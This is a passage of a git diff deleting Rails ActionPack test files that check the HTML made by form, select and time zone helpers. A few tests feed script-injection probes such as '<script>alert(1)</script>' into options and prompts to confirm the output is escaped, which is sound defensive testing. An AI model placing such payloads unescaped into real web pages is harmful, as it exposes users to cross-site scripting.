- @album = Album.new
- @album.id = 1
-
- expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
-
- assert_dom_equal(
- expected,
- select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
- )
- end
-
- def test_select_escapes_options
- assert_dom_equal(
- '<select id="post_title" name="post[title]">&lt;script&gt;alert(1)&lt;/script&gt;</select>',
- select('post', 'title', '<script>alert(1)</script>')
- )
- end
-
- def test_select_with_selected_nil
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :selected => nil)
- )
- end
-
- def test_select_with_disabled_value
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
- )
- end
-
- def test_select_with_disabled_array
- @post = Post.new
- @post.category = "<mus>"
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
- select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
- )
- end
-
- def test_select_with_range
- @post = Post.new
- @post.category = 0
- assert_dom_equal(
- "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
- select("post", "category", 1..3)
- )
- end
-
- def test_collection_select
- @post = Post.new
- @post.author_name = "Babe"
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
- )
- end
-
- def test_collection_select_under_fields_for
- @post = Post.new
- @post.author_name = "Babe"
-
- output_buffer = fields_for :post, @post do |f|
- concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
- end
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
- end
-
- def test_collection_select_under_fields_for_with_index
- @post = Post.new
- @post.author_name = "Babe"
-
- output_buffer = fields_for :post, @post, :index => 815 do |f|
- concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
- end
-
- assert_dom_equal(
- "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
- end
-
- def test_collection_select_under_fields_for_with_auto_index
- @post = Post.new
- @post.author_name = "Babe"
- def @post.to_param; 815; end
-
- output_buffer = fields_for "post[]", @post do |f|
- concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
- end
-
- assert_dom_equal(
- "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- output_buffer
- )
- end
-
- def test_collection_select_with_blank_and_style
- @post = Post.new
- @post.author_name = "Babe"
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
- )
- end
-
- def test_collection_select_with_blank_as_string_and_style
- @post = Post.new
- @post.author_name = "Babe"
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
- collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
- )
- end
-
- def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
- @post = Post.new
- @post.author_name = "Babe"
-
- expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
-
- # Should suffix default name with [].
- assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
-
- # Shouldn't suffix custom name with [].
- assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
- end
-
- def test_collection_select_with_blank_and_selected
- @post = Post.new
- @post.author_name = "Babe"
-
- assert_dom_equal(
- %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
- collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
- )
- end
-
- def test_collection_select_with_disabled
- @post = Post.new
- @post.author_name = "Babe"
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
- collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
- )
- end
-
- def test_collection_select_with_proc_for_value_method
- @post = Post.new
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
- collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
- )
- end
-
- def test_collection_select_with_proc_for_text_method
- @post = Post.new
-
- assert_dom_equal(
- "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
- collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
- )
- end
-
- def test_time_zone_select
- @firm = Firm.new("D")
- html = time_zone_select( "firm", "time_zone" )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_under_fields_for
- @firm = Firm.new("D")
-
- output_buffer = fields_for :firm, @firm do |f|
- concat f.time_zone_select(:time_zone)
- end
-
- assert_dom_equal(
- "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
- end
-
- def test_time_zone_select_under_fields_for_with_index
- @firm = Firm.new("D")
-
- output_buffer = fields_for :firm, @firm, :index => 305 do |f|
- concat f.time_zone_select(:time_zone)
- end
-
- assert_dom_equal(
- "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
- end
-
- def test_time_zone_select_under_fields_for_with_auto_index
- @firm = Firm.new("D")
- def @firm.to_param; 305; end
-
- output_buffer = fields_for "firm[]", @firm do |f|
- concat f.time_zone_select(:time_zone)
- end
-
- assert_dom_equal(
- "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- output_buffer
- )
- end
-
- def test_time_zone_select_with_blank
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"\"></option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_with_blank_as_string
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"\">No Zone</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_with_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil, {},
- "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
- :style => "color: red")
- end
-
- def test_time_zone_select_with_blank_and_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil,
- { :include_blank => true }, "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"\"></option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
- { :include_blank => true }, :style => "color: red")
- end
-
- def test_time_zone_select_with_blank_as_string_and_style
- @firm = Firm.new("D")
- html = time_zone_select("firm", "time_zone", nil,
- { :include_blank => 'No Zone' }, "style" => "color: red")
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
- "<option value=\"\">No Zone</option>\n" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
- { :include_blank => 'No Zone' }, :style => "color: red")
- end
-
- def test_time_zone_select_with_priority_zones
- @firm = Firm.new("D")
- zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
- html = time_zone_select("firm", "time_zone", zones )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_with_priority_zones_as_regexp
- @firm = Firm.new("D")
- @fake_timezones.each_with_index do |tz, i|
- tz.stubs(:=~).returns(i.zero? || i == 3)
- end
-
- html = time_zone_select("firm", "time_zone", /A|D/)
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>" +
- "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_with_default_time_zone_and_nil_value
- @firm = Firm.new()
- @firm.time_zone = nil
- html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\" selected=\"selected\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_time_zone_select_with_default_time_zone_and_value
- @firm = Firm.new('D')
- html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
- assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
- "<option value=\"A\">A</option>\n" +
- "<option value=\"B\">B</option>\n" +
- "<option value=\"C\">C</option>\n" +
- "<option value=\"D\" selected=\"selected\">D</option>\n" +
- "<option value=\"E\">E</option>" +
- "</select>",
- html
- end
-
- def test_options_for_select_with_element_attributes
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#39;Hello World&#39;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
- options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
- )
- end
-
- def test_options_for_select_with_data_element
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\" data-test=\"bold\">&lt;Denmark&gt;</option>",
- options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
- )
- end
-
- def test_options_for_select_with_data_element_with_special_characters
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\" data-test=\"&lt;bold&gt;\">&lt;Denmark&gt;</option>",
- options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
- )
- end
-
- def test_options_for_select_with_element_attributes_and_selection
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
- options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], "USA")
- )
- end
-
- def test_options_for_select_with_element_attributes_and_selection_array
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
- options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], [ "USA", "Sweden" ])
- )
- end
-
- def test_options_for_select_with_special_characters
- assert_dom_equal(
- "<option value=\"&lt;Denmark&gt;\" onclick=\"alert(&quot;&lt;code&gt;&quot;)\">&lt;Denmark&gt;</option>",
- options_for_select([ [ "<Denmark>", { :onclick => %(alert("<code>")) } ] ])
- )
- end
-
- def test_option_html_attributes_with_no_array_element
- assert_equal({}, option_html_attributes('foo'))
- end
-
- def test_option_html_attributes_without_hash
- assert_equal({}, option_html_attributes([ 'foo', 'bar' ]))
- end
-
- def test_option_html_attributes_with_single_element_hash
- assert_equal(
- {:class => 'fancy'},
- option_html_attributes([ 'foo', 'bar', { :class => 'fancy' } ])
- )
- end
-
- def test_option_html_attributes_with_multiple_element_hash
- assert_equal(
- {:class => 'fancy', 'onclick' => "alert('Hello World');"},
- option_html_attributes([ 'foo', 'bar', { :class => 'fancy', 'onclick' => "alert('Hello World');" } ])
- )
- end
-
- def test_option_html_attributes_with_multiple_hashes
- assert_equal(
- {:class => 'fancy', 'onclick' => "alert('Hello World');"},
- option_html_attributes([ 'foo', 'bar', { :class => 'fancy' }, { 'onclick' => "alert('Hello World');" } ])
- )
- end
-
- def test_option_html_attributes_with_multiple_hashes_does_not_modify_them
- options1 = { class: 'fancy' }
- options2 = { onclick: "alert('Hello World');" }
- option_html_attributes([ 'foo', 'bar', options1, options2 ])
-
- assert_equal({ class: 'fancy' }, options1)
- assert_equal({ onclick: "alert('Hello World');" }, options2)
- end
-
- def test_grouped_collection_select
- @post = Post.new
- @post.origin = 'dk'
-
- assert_dom_equal(
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
- grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
- )
- end
-
- def test_grouped_collection_select_with_selected
- @post = Post.new
-
- assert_dom_equal(
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
- grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :selected => 'dk')
- )
- end
-
- def test_grouped_collection_select_with_disabled_value
- @post = Post.new
-
- assert_dom_equal(
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option disabled="disabled" value="dk">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
- grouped_collection_select("post", "origin", dummy_continents, :countries, :continent_name, :country_id, :country_name, :disabled => 'dk')
- )
- end
-
- def test_grouped_collection_select_under_fields_for
- @post = Post.new
- @post.origin = 'dk'
-
- output_buffer = fields_for :post, @post do |f|
- concat f.grouped_collection_select("origin", dummy_continents, :countries, :continent_name, :country_id, :country_name)
- end
-
- assert_dom_equal(
- %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>\n<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk" selected="selected">Denmark</option>\n<option value="ie">Ireland</option></optgroup></select>},
- output_buffer
- )
- end
-
- private
-
- def dummy_posts
- [ Post.new("<Abe> went home", "<Abe>", "To a little house", "shh!"),
- Post.new("Babe went home", "Babe", "To a little house", "shh!"),
- Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
- end
-
- def dummy_continents
- [ Continent.new("<Africa>", [Country.new("<sa>", "<South Africa>"), Country.new("so", "Somalia")]),
- Continent.new("Europe", [Country.new("dk", "Denmark"), Country.new("ie", "Ireland")]) ]
- end
-end
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
deleted file mode 100644
index 0a94fa079b..0000000000
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ /dev/null
@@ -1,642 +0,0 @@
-require 'abstract_unit'
-
-class FormTagHelperTest < ActionView::TestCase
- include RenderERBUtils
-
- tests ActionView::Helpers::FormTagHelper
-
- def setup
- super
- @controller = BasicController.new
- end
-
- def hidden_fields(options = {})
- method = options[:method]
-
- txt = %{<div style="margin:0;padding:0;display:inline">}
- txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
- if method && !%w(get post).include?(method.to_s)
- txt << %{<input name="_method" type="hidden" value="#{method}" />}
- end
- txt << %{</div>}
- end
-
- def form_text(action = "http://www.example.com", options = {})
- remote, enctype, html_class, id, method = options.values_at(:remote, :enctype, :html_class, :id, :method)
-
- method = method.to_s == "get" ? "get" : "post"
-
- txt = %{<form accept-charset="UTF-8" action="#{action}"}
- txt << %{ enctype="multipart/form-data"} if enctype
- txt << %{ data-remote="true"} if remote
- txt << %{ class="#{html_class}"} if html_class
- txt << %{ id="#{id}"} if id
- txt << %{ method="#{method}">}
- end
-
- def whole_form(action = "http://www.example.com", options = {})
- out = form_text(action, options) + hidden_fields(options)
-
- if block_given?
- out << yield << "</form>"
- end
-
- out
- end
-
- def url_for(options)
- if options.is_a?(Hash)
- "http://www.example.com"
- else
- super
- end
- end
-
- VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
-
- def test_check_box_tag
- actual = check_box_tag "admin"
- expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
- assert_dom_equal expected, actual
- end
-
- def test_check_box_tag_id_sanitized
- label_elem = root_elem(check_box_tag("project[2][admin]"))
- assert_match VALID_HTML_ID, label_elem['id']
- end
-
- def test_form_tag
- actual = form_tag
- expected = whole_form
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_multipart
- actual = form_tag({}, { 'multipart' => true })
- expected = whole_form("http://www.example.com", :enctype => true)
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_method_patch
- actual = form_tag({}, { :method => :patch })
- expected = whole_form("http://www.example.com", :method => :patch)
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_method_put
- actual = form_tag({}, { :method => :put })
- expected = whole_form("http://www.example.com", :method => :put)
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_method_delete
- actual = form_tag({}, { :method => :delete })
-
- expected = whole_form("http://www.example.com", :method => :delete)
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_remote
- actual = form_tag({}, :remote => true)
-
- expected = whole_form("http://www.example.com", :remote => true)
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_remote_false
- actual = form_tag({}, :remote => false)
-
- expected = whole_form
- assert_dom_equal expected, actual
- end
-
- def test_form_tag_with_block_in_erb
- output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
-
- expected = whole_form { "Hello world!" }
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_tag_with_block_and_method_in_erb
- output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
-
- expected = whole_form("http://www.example.com", :method => "put") do
- "Hello world!"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_hidden_field_tag
- actual = hidden_field_tag "id", 3
- expected = %(<input id="id" name="id" type="hidden" value="3" />)
- assert_dom_equal expected, actual
- end
-
- def test_hidden_field_tag_id_sanitized
- input_elem = root_elem(hidden_field_tag("item[][title]"))
- assert_match VALID_HTML_ID, input_elem['id']
- end
-
- def test_file_field_tag
- assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
- end
-
- def test_file_field_tag_with_options
- assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
- end
-
- def test_password_field_tag
- actual = password_field_tag
- expected = %(<input id="password" name="password" type="password" />)
- assert_dom_equal expected, actual
- end
-
- def test_radio_button_tag
- actual = radio_button_tag "people", "david"
- expected = %(<input id="people_david" name="people" type="radio" value="david" />)
- assert_dom_equal expected, actual
-
- actual = radio_button_tag("num_people", 5)
- expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
- assert_dom_equal expected, actual
-
- actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
- expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
- assert_dom_equal expected, actual
-
- actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
- expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
- assert_dom_equal expected, actual
-
- actual = radio_button_tag("person[gender]", "m")
- expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
- assert_dom_equal expected, actual
-
- actual = radio_button_tag('ctrlname', 'apache2.2')
- expected = %(<input id="ctrlname_apache2.2" name="ctrlname" type="radio" value="apache2.2" />)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag
- actual = select_tag "people", "<option>david</option>".html_safe
- expected = %(<select id="people" name="people"><option>david</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_with_multiple
- actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
- expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_disabled
- actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
- expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_id_sanitized
- input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
- assert_match VALID_HTML_ID, input_elem['id']
- end
-
- def test_select_tag_with_include_blank
- actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :include_blank => true
- expected = %(<select id="places" name="places"><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_with_prompt
- actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string"
- expected = %(<select id="places" name="places"><option value="">string</option><option>Home</option><option>Work</option><option>Pub</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_escapes_prompt
- actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "<script>alert(1337)</script>"
- expected = %(<select id="places" name="places"><option value="">&lt;script&gt;alert(1337)&lt;/script&gt;</option><option>Home</option><option>Work</option><option>Pub</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_with_prompt_and_include_blank
- actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :prompt => "string", :include_blank => true
- expected = %(<select name="places" id="places"><option value="">string</option><option value=""></option><option>Home</option><option>Work</option><option>Pub</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_with_nil_option_tags_and_include_blank
- actual = select_tag "places", nil, :include_blank => true
- expected = %(<select id="places" name="places"><option value=""></option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_select_tag_with_nil_option_tags_and_prompt
- actual = select_tag "places", nil, :prompt => "string"
- expected = %(<select id="places" name="places"><option value="">string</option></select>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_size_string
- actual = text_area_tag "body", "hello world", "size" => "20x40"
- expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_size_symbol
- actual = text_area_tag "body", "hello world", :size => "20x40"
- expected = %(<textarea cols="20" id="body" name="body" rows="40">\nhello world</textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
- actual = text_area_tag "body", "hello world", :size => 20
- expected = %(<textarea id="body" name="body">\nhello world</textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_id_sanitized
- input_elem = root_elem(text_area_tag("item[][description]"))
- assert_match VALID_HTML_ID, input_elem['id']
- end
-
- def test_text_area_tag_escape_content
- actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
- expected = %(<textarea cols="20" id="body" name="body" rows="40">\n&lt;b&gt;hello world&lt;/b&gt;</textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_unescaped_content
- actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
- expected = %(<textarea cols="20" id="body" name="body" rows="40">\n<b>hello world</b></textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_area_tag_unescaped_nil_content
- actual = text_area_tag "body", nil, :escape => false
- expected = %(<textarea id="body" name="body">\n</textarea>)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag
- actual = text_field_tag "title", "Hello!"
- expected = %(<input id="title" name="title" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_class_string
- actual = text_field_tag "title", "Hello!", "class" => "admin"
- expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_size_symbol
- actual = text_field_tag "title", "Hello!", :size => 75
- expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
- assert_dom_equal expected, actual
- end
-
- def test_text_field_tag_size_string
